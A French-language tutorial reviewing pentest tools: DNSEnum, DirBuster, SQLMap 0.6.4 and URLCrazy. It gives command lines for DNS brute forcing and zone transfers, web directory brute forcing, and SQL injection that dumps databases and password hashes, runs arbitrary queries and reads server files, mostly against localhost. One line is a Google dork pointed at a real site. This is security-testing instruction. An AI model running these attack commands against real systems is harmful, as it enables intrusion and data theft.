DNSEnum énumère les informations relatives aux noms de domaine

DNSEnum est un outil développé en PERL permettant l’énumération et la récupération d’informations relatives aux noms de domaine.

L’utilisation de DNSEnum nécessitera l’installation de module PERL supplémentaire :

– perl-Net-Netmask
– perl-Net-Whois-IP
– perl-WWW-Mechanize

  • Utilisation de base

./dnsenum.pl domain.xxx

L’exécution de base permettra de récupérer l’adresse IP de host, les serveurs de noms de domaine, et les entrées MX associés au TLD.

De plus une tentative de transfert de zone “AXFR” sera effectuée sur chaque serveurs de DNS récupérés.

Par défaut, la récupération de ces informations s’effectuera sur le serveur de nom de domaine spécifié dans la configuration de votre machine.

  • Enregistrer les sous-domaines découverts dans un fichier dédié

Par le biais de l’option “–subfile” il est possible d’enregistrer les sous-domaines découverts dans un fichier dédié, afin de pouvoir les analyser de part la suite.

./dnsenum.pl domain.xxx –subfile results.txt

  • Spécifier un autre serveur de DNS pour la récupération des informations

Il arrive parfois que le serveur de DNS sur lequel vous allez effectuer vos résolutions ait un cache pouvant fausser les résultats (TTL). Nous vous conseillons donc de lancer la première fois DNSEnum avec comme “resolver” votre serveur de DNS local, et ensuite de récupérer le, ou les, serveurs de DNS spécifiques au nom de domaine cible, et de refaire les mêmes tests pour chaque serveurs de DNS trouvés.

Il arrive aussi parfois que les serveurs de DNS hébergeant le nom de domaine aient des entrées différentes, et qui peuvent apporter des informations supplémentaires intéressantes.

Afin de pouvoir spécifier un serveur de résolution spécifique lors de l’exécution de DNSEnum, il suffit d’utiliser l’option “–dnsserver“.

./dnsenum.pl –dnsserver xxx.xxx.xxx.xxx domain.xxx

  • Attaque de base brute force DNS par le biais de DNSEnum

L’option “-f” vous permettra de spécifier le dictionnaire de sous domaines que vous désirez utiliser pour effectuer l’attaque brute force DNS.

Le fichier “dns.txt” fournit de base avec DNSEnum contient environ 95 sous domaines.

./dnsenum.pl -f dns.txt domain.xxx

Les résultats supplémentaires qui seront fournis sont :

  1. Toutes les résolutions des noms de domaine qui ont été détectés par le biais de la méthode du type brute force
  2. Les classes C des différents noms de domaine qui ont été détectés
  3. Les “reverses lookup” de toutes les adresses IP de toutes les classes C découvertes.
  4. Les blocks IP des différentes classes C découvertes.
  • Affiner le brute forcing et les résultats obtenus avec l’option WHOIS

DNSEnum propose par le biais de son option “-w“, d’effectuer un WHOIS sur les différentes classes C découvertes, afin de valider et de fournir les véritables “net ranges” se cachant derrière et ainsi d’affiner les découvertes “reverses lookup” et l’identification des différents blocks IP.

./dnsenum.pl -f dns.txt domain.xxx -w

  • Découverte de sous domaines par le biais Google

DNSEnum donne aussi la possibilité de recherche automatiquement dans Google la présence d’autres sous domaines.

L’option “–enum” lancera 5 threads DNSEnum qui effectueront les WHOIS et les parsing des résultats retournés par Google.
Le nombre de résultats maximum qui seront extraits du parsing Google sera de 20 sur un total de 20 pages de recherches parcourues.

./dnsenum.pl -f dns.txt domain.xxx –enum

Vous pouvez bien sûr customiser votre recherche Google par le biais des options suivantes :

-p : Nombre de pages qui seront parcourues (par défaut 20), l’option -s est obligatoire.
-s : Nombre maximum de résultats qui seront extraits.

./dnsenum.pl -f dns.txt domain.xxx -s 200

  • Alimenter son dictionnaire brut force DNS avec les résultats obtenus

DNSEnum donne la possibilité d’alimenter son dictionnaire avec les résultats obtenus lors d’une exécution de base, d’une attaque du type brute force, et par le biais de résultats retournés par le “scraping” Google.

Afin de pouvoir mettre à jour son dictionnaire, il suffit d’ajouter l’option “-u” et de lui spécifier des arguments.

a – Mise à jour du dictionnaire par le biais de tous les résultats
g – Mise à jour du dictionnaire uniquement par le biais des résultats du Google scraping
r – Mise à jour du dictionnaire uniquement par le biais des résultats des “reverses lookup”
z – Mise à jour du dictionnaire uniquement par le biais des résultats du transfert de zone

./dnsenum.pl -f dns.txt –subfile results.txt -s 200 -w -u a domain.xxx

Dirbuster ou la découverte de répertoire et de fichiers web

DirBuster est un projet OWASP open source développé en Java ayant comme objectif de découvrir des répertoires ou fichiers en se basant sur la méthode brute force et les réponses retournées par le serveur web.

DirBuster est fournis avec des listes de répertoires, fichiers et utilisateurs. Il est possible de modifier ces listes, d’y rajouter ces propres répertoires, fichiers ou utilisateurs découverts au fur et à mesure des pen-tests. DirBuster supporte les protocoles HTTP et HTTPS.

Le chargement de sa propre liste est possible par le biais de l’option “-l“.

java -jar DirBuster-0.12.jar -H -u http://localhost -l maliste.txt

L’option “-H” permet de lancer DirBuster en mode console et de ne pas activer la GUI.
L’option “-u” permet de spécifier l’URL cible.

L’option “-e” va vous permettre de cibler un certain type d’extensions de fichiers, par asp, aspx, pl, etc. Par défaut, l’extension de base est php.

L’option “-s” va vous permettre de préciser un répertoire de départ cible.

java -jar DirBuster-0.12.jar -H -u http://localhost -s /warez/

L’option “-r” vous permettra de préciser l’endroit où doit être sauvegarder le rapport généré par DirBuster.

Sqlmap outil d’injection SQL automatique

SQLMap 0.6.4 est un outil open source d’injections automatiques de requêtes SQL. Cet outil détecte et exploite les vulnérabilités du type injection SQL sur les applications web. Si une, ou plusieurs, vulnérabilités du type injection SQL sont détectées sur le serveur cible, l’utilisateur pourra sélectionner différentes options dont deviner le type et la version de la base de donnée cible, récupérer la session de l’utilisateur en cours, énumérer les utilisateurs, les hash des mots de passe, les privilèges des utilisateurs, les bases de données hébergées, ou récupérer la base de donnée complète, etc.

SQLMap supporte MySQL, Oracle, PostgreSQL, Microsoft SQL, mais peut aussi identifier les bases de données du type Microsoft Access, DB2, Informix, Sybase et Interbase.

Cette analyse ne porte que sur la version 0.6.4. Une nouvelle version 0.7 est actuellement en cours de développement et celle-ci sera étudiée dès qu’elle sortira en version stable.

  • Choisir son type de cible

SQLMap propose de cibler une URL précise par le biais de l’option “-u” (-u URL).

python sqlmap.py -u http://localhost/index.php?id=1

Il est aussi possible de cibler des URL par le biais des logs générés par les proxy d’interception WebScarab ou Burp.

python sqlmap.py -l LIST

Il est possible d’utiliser SQLMap en chargeant un fichier de configuration spécifique, par défaut celui-ci se nomme “sqlmap.conf“.

python sqlmap.py -c CONFIGFILE

Mais une des options la plus intéressante est le “GOOGLEDORK” permettant la recherche de URL cible par le biais de Google.

python sqlmap.py -g "site:zataz.com ext:php"

  • Effectuer un fingerprint du type de base de donnée

python sqlmap.py -u http://localhost/index.php?id=1 -f

  • Récupérer la bannière de la base de donnée

python sqlmap.py -u http://localhost/index.php?id=1 -b

  • Retrouver l’utilisateur SQL qui exécute le script vulnérable

python sqlmap.py -u http://localhost/index.php?id=1 --current-user

  • Retrouver la base de donnée en cours d’utilisation

python sqlmap.py -u http://localhost/index.php?id=1 --current-db

  • Détecter si l’utilisateur SQL qui exécute le script est un utilisateur administrateur

python sqlmap.py -u http://localhost/index.php?id=1 --is-dba

Ci dessous les résultats avec l’utilisateur MySQL “sqlinjection” qui n’a que les droits SELECT sur la base de donnée “sqlinjection“.

Ci dessous les résultats avec l’utilisateur MySQL “root” qui a tous les droits sur toutes les bases de données.

  • Retrouver la liste complète des utilisateurs SQL

python sqlmap.py -u http://localhost/index.php?id=1 --users

Ne fonctionne que si l’utilisateur SQL a les droits de création d’autres utilisateurs SQL, par exemple l’utilisateur root MySQL.

  • Retrouver les hash des mots de passe des utilisateurs SQL

python sqlmap.py -u http://localhost/index.php?id=1 --passwords

Si l’option “-U” est spécifiée, il est possible de cibler un utilisateur SQL en particulier. Bien sûr cette fonctionnalité n’est possible que si l’utilisateur SQL a les droits de gestion des utilisateurs.

  • Retrouver les droits des utilisateurs SQL

python sqlmap.py -u http://localhost/index.php?id=1 --privileges

Si l’option “-U” est spécifiée, il est possible de cibler un utilisateur SQL en particulier.

  • Retrouver la liste des bases de données visibles par l’utilisateur MySQL

python sqlmap.py -u http://localhost/index.php?id=1 --dbs

Ci-dessous les bases de données retrouvées par le biais de l’utilisateur MySQL “sqlinjection

Ci-dessous les bases de données lorsque l’utilisateur SQL visé est un utilisateur administratif.

  • Retrouver la liste des tables des bases de données visibles par l’utilisateur MySQL

python sqlmap.py -u http://localhost/index.php?id=1 --tables

Ci-dessous les tables des bases de données retrouvées par le biais de l’utilisateur MySQL “sqlinjection

Il est possible de cibler une base de donnée spécifique avec l’option “-D“.

python sqlmap.py -u http://localhost/index.php?id=1 --tables -D sqlinjection

Il est aussi possible d’exclure les bases de données systèmes et administratives par le biais de l’option “–exclude-sysdbs

python sqlmap.py -u http://localhost/index.php?id=1 --tables --exclude-sysdbs

  • Retrouver la structure d’une table d’une base de données

python sqlmap.py -u http://localhost/test1.php?id=1 --columns -D sqlinjection -T sqlinjection

L’option “-D” permet de spécifier la base de donnée concernée, et l’option “-T” permet de spécifier la table concernée.

  • Récupérer le contenu des bases de données

python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection

Toutes les données récupérées sont sauvegarder dans un fichier excel, que l’on peut analyser de part la suite localement.

Il est possible de filtrer le champ spécifique que l’on désire récupérer par le biais de l’option “-C“.

python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection -C secret

Il est aussi possible de récupérer qu’un certain nombre de résultats lors du DUMP de la base de la table par le biais des options “–start” et “–stop

python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection -C secret --start 1 --stop 1

  • Récupérer le contenu entier des bases de données

python sqlmap.py -u http://localhost/test1.php?id=1 --dump-all

  • Exécuter des requêtes SQL spécifiques

L’option “–sql-query” va vous permettre d’exécuter des requêtes SQL spécifiques, comme le montre l’exemple ci-dessous :

python sqlmap.py -u http://localhost/test1.php?id=1 --sql-query="SELECT secret from sqlinjection" -D sqlinjection

Deux questions vous seront posées lors de l’exécution de la requête SQL. La première vous demandera si le résultat pourra retourner plusieurs entrées ou non, la deuxième question vous demandera si vous désirez retournez tous les résultats ou une sélection de votre choix.

  • Lire un fichier aléatoire sur le système par le biais de MySQL.

L’option “–read-file” permet à sqlmap, uniquement pour MySQL en version 0.6.4 de sqlmap, de charger un fichier aléatoire présent sur le système de fichier du serveur cible. Cette récupération n’est possible que si l’utilisateur MySQL en cours a le privilège “FILE“. Il faut que le fichier cible ai les droits de lecture pour tous, ou que l’utilisateur système MySQL y ai accès.

Dans l’exemple ci-dessous, nous avons créé un fichier test.txt contenant la séquence “passwd = toto” et situé à la racine du serveur web.

python sqlmap.py -u http://localhost/test1.php?id=1 --read-file=/Library/WebServer/Documents/test.txt

URLCrazy ou l’étude du Typo Squatting / URL Hijacking

URLCrazy est un outil développé en RUBY permettant l’étude des détournements éventuels des noms de domaine, ces détournements sont du type typo squatting / URL hijacking, basé sur les erreurs de frappes des humains.

URLCrazy permettra aussi d’afficher la popularité du domaine dans le moteur de recherche Cuil, il serait envisageable à l’auteur de ce script de rajouter la popularité d’autres moteurs de recherche.

Pour le typo squatting, URLCrazy propose plusieurs analyses possibles.
La première analyse s’effectue sur l’omission de caractère, par exemple :

zaaz.com
zata.com
zataz.cm
zatz.com
ztaz.com

La deuxième analyse s’effectue en intervertissant les caractères de lettres adjacentes, par exemple :

aztaz.com
zaatz.com
zatza.com
ztaaz.com

La troisième analyse s’effectue en remplaçant chaque caractères du nom de domaine pour la touche clavier située a droite/gauche de celle originelle.

La configuration de base de URLCrazy est un clavier anglais, mais il est possible de modifier le code source pour l’adapter à un clavier français.

82 class Keyboard
83 def initialize()
84         @rows=[“1234567890-“,”azertyuiop”,”qsdfghjklm”,”wxcvbn”]
85 end

Exemple de résultats :

aataz.com
eataz.com
zaraz.com
zataa.com
zatae.com
zatzz.com
zayaz.com
zztaz.com

Le quatrième test est basé sur l’insertion de caractères adjacents, comme par exemple :

zaataz.com
zataaz.com
zataza.com
zataze.com
zatazz.com
zatraz.com
zattaz.com
zatyaz.com
zatyaz.com
zaztaz.com
zeataz.com
zzataz.com

Le cinquième test porte sur l’oubli du caractère point (.) dans l’URL, comme par exemple :

wwwzataz.com
zatazcom.com

Le sixième test porte sur la suppression du caractère tiré (-) si le domaine en possède un originalement, comme par exemple :

Pour le domaine original za-taz.com, le test sera alors zataz.com

Le dernier test porte sur la singularisation ou la pluralisation du nom de domaine, comme par exemple :

zatazs.com

Conclusion :

URLCrazy est logiciel très intéressant pour une version 0.2, et les évolutions futures (intégration de whois, popularité par moteurs de recherche, type de clavier en fichier de configuration, etc.) seront de grande avancée. URLCrazy est donc un logiciel à garder à l’œil.